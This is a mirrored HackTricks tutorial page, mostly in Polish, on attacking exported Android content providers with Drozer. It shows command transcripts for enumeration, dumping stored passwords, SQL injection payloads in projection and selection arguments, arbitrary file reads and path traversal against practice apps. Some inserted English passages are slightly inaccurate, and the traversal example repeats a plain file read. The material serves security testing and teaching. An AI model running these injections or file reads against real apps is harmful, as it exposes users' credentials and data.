mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 09:03:30 +00:00
240 lines
13 KiB
Markdown
240 lines
13 KiB
Markdown
# Wykorzystywanie dostawców treści
|
|
|
|
## Wykorzystywanie dostawców treści
|
|
|
|
<details>
|
|
|
|
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## Wprowadzenie
|
|
|
|
Dane są **dostarczane z jednej aplikacji do innych** na żądanie za pomocą komponentu znanego jako **dostawca treści**. Te żądania są obsługiwane za pomocą metod klasy **ContentResolver**. Dostawcy treści mogą przechowywać swoje dane w różnych lokalizacjach, takich jak **baza danych**, **pliki** lub przez **sieć**.
|
|
|
|
W pliku _Manifest.xml_ konieczne jest zadeklarowanie dostawcy treści. Na przykład:
|
|
```xml
|
|
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
|
|
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
|
|
</provider>
|
|
```
|
|
Aby uzyskać dostęp do `content://com.mwr.example.sieve.DBContentProvider/Keys`, wymagane jest uprawnienie `READ_KEYS`. Ciekawym jest, że ścieżka `/Keys/` jest dostępna w następującym fragmencie, który nie jest chroniony z powodu błędu programisty, który zabezpieczył `/Keys`, ale zadeklarował `/Keys/`.
|
|
|
|
**Możliwe jest uzyskanie dostępu do prywatnych danych lub wykorzystanie podatności (wstrzyknięcie SQL lub przechodzenie po ścieżkach).**
|
|
|
|
## Uzyskaj informacje z **publicznych dostawców treści**
|
|
```
|
|
dz> run app.provider.info -a com.mwr.example.sieve
|
|
Package: com.mwr.example.sieve
|
|
Authority: com.mwr.example.sieve.DBContentProvider
|
|
Read Permission: null
|
|
Write Permission: null
|
|
Content Provider: com.mwr.example.sieve.DBContentProvider
|
|
Multiprocess Allowed: True
|
|
Grant Uri Permissions: False
|
|
Path Permissions:
|
|
Path: /Keys
|
|
Type: PATTERN_LITERAL
|
|
Read Permission: com.mwr.example.sieve.READ_KEYS
|
|
Write Permission: com.mwr.example.sieve.WRITE_KEYS
|
|
Authority: com.mwr.example.sieve.FileBackupProvider
|
|
Read Permission: null
|
|
Write Permission: null
|
|
Content Provider: com.mwr.example.sieve.FileBackupProvider
|
|
Multiprocess Allowed: True
|
|
Grant Uri Permissions: False
|
|
```
|
|
Możliwe jest złożenie w całość sposobu dotarcia do **DBContentProvider** poprzez rozpoczęcie URI od "_content://_". Ten podejście opiera się na wskazówkach uzyskanych dzięki użyciu Drozera, gdzie kluczowe informacje zostały znalezione w katalogu _/Keys_.
|
|
|
|
Drozer może **próbować zgadywać i testować kilka URI**:
|
|
```
|
|
dz> run scanner.provider.finduris -a com.mwr.example.sieve
|
|
Scanning com.mwr.example.sieve...
|
|
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
|
|
...
|
|
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
|
|
Accessible content URIs:
|
|
content://com.mwr.example.sieve.DBContentProvider/Keys/
|
|
content://com.mwr.example.sieve.DBContentProvider/Passwords
|
|
content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
|
```
|
|
Należy również sprawdzić kod **ContentProvidera**, aby wyszukać zapytania:
|
|
|
|
![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>)
|
|
|
|
Jeśli nie można znaleźć pełnych zapytań, można **sprawdzić, jakie nazwy są deklarowane przez ContentProvider** w metodzie `onCreate`:
|
|
|
|
![](<../../../.gitbook/assets/image (186).png>)
|
|
|
|
Zapytanie będzie wyglądać tak: `content://nazwa.pakietu.klasy/nazwa_zadeklarowana`
|
|
|
|
## **Content Providery oparte na bazie danych**
|
|
|
|
Prawdopodobnie większość Content Providerów jest używana jako **interfejs** dla **bazy danych**. Dlatego, jeśli uzyskasz do niej dostęp, będziesz w stanie **wydobywać, aktualizować, wstawiać i usuwać** informacje.\
|
|
Sprawdź, czy można **uzyskać dostęp do wrażliwych informacji** lub spróbuj je zmienić, aby **obejść mechanizmy autoryzacji**.
|
|
|
|
Podczas sprawdzania kodu Content Providera, **sprawdź** również funkcje o nazwach: _query, insert, update i delete_:
|
|
|
|
![](<../../../.gitbook/assets/image (187).png>)
|
|
|
|
![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
|
|
|
|
Ponieważ będziesz w stanie je wywołać.
|
|
|
|
### Zapytanie o zawartość
|
|
```
|
|
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
|
|
_id: 1
|
|
service: Email
|
|
username: incognitoguy50
|
|
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
|
|
-
|
|
email: incognitoguy50@gmail.com
|
|
```
|
|
### Wstawianie treści
|
|
|
|
Przeszukując bazę danych dowiesz się **nazw kolumn**, a następnie będziesz mógł wstawić dane do bazy:
|
|
|
|
![](<../../../.gitbook/assets/image (188) (1).png>)
|
|
|
|
![](<../../../.gitbook/assets/image (189) (1).png>)
|
|
|
|
_Zauważ, że podczas wstawiania i aktualizacji możesz użyć --string, aby wskazać ciąg znaków, --double, aby wskazać liczbę zmiennoprzecinkową, --float, --integer, --long, --short, --boolean._
|
|
|
|
### Aktualizowanie treści
|
|
|
|
Znając nazwy kolumn, możesz również **modyfikować wpisy**:
|
|
|
|
![](<../../../.gitbook/assets/image (190).png>)
|
|
|
|
### Usuwanie treści
|
|
|
|
![](<../../../.gitbook/assets/image (191).png>)
|
|
|
|
### **SQL Injection**
|
|
|
|
Łatwo przetestować podatność na SQL Injection **(SQLite)**, manipulując polami **projekcji** i **selekcji**, które są przekazywane do dostawcy treści.\
|
|
Podczas przeszukiwania dostawcy treści istnieją 2 interesujące argumenty do wyszukiwania informacji: _--selection_ i _--projection_:
|
|
|
|
![](<../../../.gitbook/assets/image (192) (1).png>)
|
|
|
|
Możesz spróbować **wykorzystać** te **parametry** do przetestowania podatności na **SQL injection**:
|
|
```
|
|
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
|
|
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
|
|
```
|
|
|
|
```
|
|
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
|
|
FROM SQLITE_MASTER WHERE type='table';--"
|
|
| type | name | tbl_name | rootpage | sql |
|
|
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
|
|
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
|
|
```
|
|
**Automatyczne odkrywanie SQLInjection za pomocą Drozera**
|
|
|
|
Drozer is a powerful security testing framework for Android applications. It provides a wide range of features to assist in the penetration testing of Android apps. One of its notable features is the ability to automatically discover SQL injection vulnerabilities in Android apps.
|
|
|
|
Drozer uses a technique called content provider injection to identify potential SQL injection points in an app. Content providers are components in Android apps that allow data to be shared between different apps. By injecting malicious SQL queries into content provider URIs, Drozer can determine if the app is vulnerable to SQL injection attacks.
|
|
|
|
To perform automatic SQL injection discovery with Drozer, follow these steps:
|
|
|
|
1. Install Drozer on your testing machine.
|
|
2. Connect your Android device to the testing machine using ADB.
|
|
3. Launch Drozer and start a session with the target app using the `drozer console connect` command.
|
|
4. Use the `run app.provider.finduris` command to identify the content provider URIs in the app.
|
|
5. Use the `run app.provider.query` command to inject SQL queries into the content provider URIs and check for potential SQL injection vulnerabilities.
|
|
6. Analyze the results and identify any vulnerable points in the app's content providers.
|
|
|
|
By automating the SQL injection discovery process, Drozer can save time and effort during the penetration testing of Android apps. However, it is important to note that this technique should only be used on apps that you have permission to test, as it can potentially cause data loss or other adverse effects if used maliciously.
|
|
```
|
|
dz> run scanner.provider.injection -a com.mwr.example.sieve
|
|
Scanning com.mwr.example.sieve...
|
|
Injection in Projection:
|
|
content://com.mwr.example.sieve.DBContentProvider/Keys/
|
|
content://com.mwr.example.sieve.DBContentProvider/Passwords
|
|
content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
|
Injection in Selection:
|
|
content://com.mwr.example.sieve.DBContentProvider/Keys/
|
|
content://com.mwr.example.sieve.DBContentProvider/Passwords
|
|
content://com.mwr.example.sieve.DBContentProvider/Passwords/
|
|
|
|
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
|
|
Scanning jakhar.aseem.diva...
|
|
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
|
|
android_metadata
|
|
notes
|
|
sqlite_sequence
|
|
```
|
|
## **Dostawcy treści oparte na systemie plików**
|
|
|
|
Dostawcy treści mogą również być używani do **dostępu do plików:**
|
|
|
|
![](<../../../.gitbook/assets/image (193).png>)
|
|
|
|
### Odczytaj **plik**
|
|
|
|
Możesz odczytywać pliki z dostawcy treści
|
|
```
|
|
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
|
127.0.0.1 localhost
|
|
```
|
|
### **Przechodzenie po ścieżce**
|
|
|
|
Jeśli masz dostęp do plików, możesz spróbować wykorzystać przechodzenie po ścieżce (w tym przypadku nie jest to konieczne, ale możesz spróbować użyć "_../_" i podobnych sztuczek).
|
|
```
|
|
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
|
|
127.0.0.1 localhost
|
|
```
|
|
**Automatyczne odkrywanie Path Traversal za pomocą Drozera**
|
|
|
|
Drozer is a powerful Android security testing framework that allows you to perform various security assessments on Android applications. One of the techniques it supports is the automatic discovery of Path Traversal vulnerabilities in Android applications.
|
|
|
|
Drozer uses a combination of static and dynamic analysis to identify potential Path Traversal vulnerabilities. It analyzes the application's code and behavior to determine if it is susceptible to this type of attack.
|
|
|
|
To use Drozer for automatic Path Traversal discovery, follow these steps:
|
|
|
|
1. Install Drozer on your testing machine.
|
|
2. Connect your Android device to the testing machine using ADB.
|
|
3. Launch Drozer and start a session with the target application.
|
|
4. Use the `run app.provider.find` command to search for content providers in the target application.
|
|
5. Use the `run app.provider.query` command to query each content provider for potential Path Traversal vulnerabilities.
|
|
6. Analyze the results and identify any potential vulnerabilities.
|
|
|
|
Drozer will automatically analyze the content providers in the target application and check if they are vulnerable to Path Traversal attacks. It will provide you with a detailed report of any potential vulnerabilities found.
|
|
|
|
By using Drozer's automatic Path Traversal discovery feature, you can quickly identify and assess the security of Android applications. This can help you uncover potential vulnerabilities and take appropriate measures to mitigate them.
|
|
```
|
|
dz> run scanner.provider.traversal -a com.mwr.example.sieve
|
|
Scanning com.mwr.example.sieve...
|
|
Vulnerable Providers:
|
|
content://com.mwr.example.sieve.FileBackupProvider/
|
|
content://com.mwr.example.sieve.FileBackupProvider
|
|
```
|
|
## Odwołania
|
|
|
|
* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm)
|
|
* [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)
|
|
* [https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|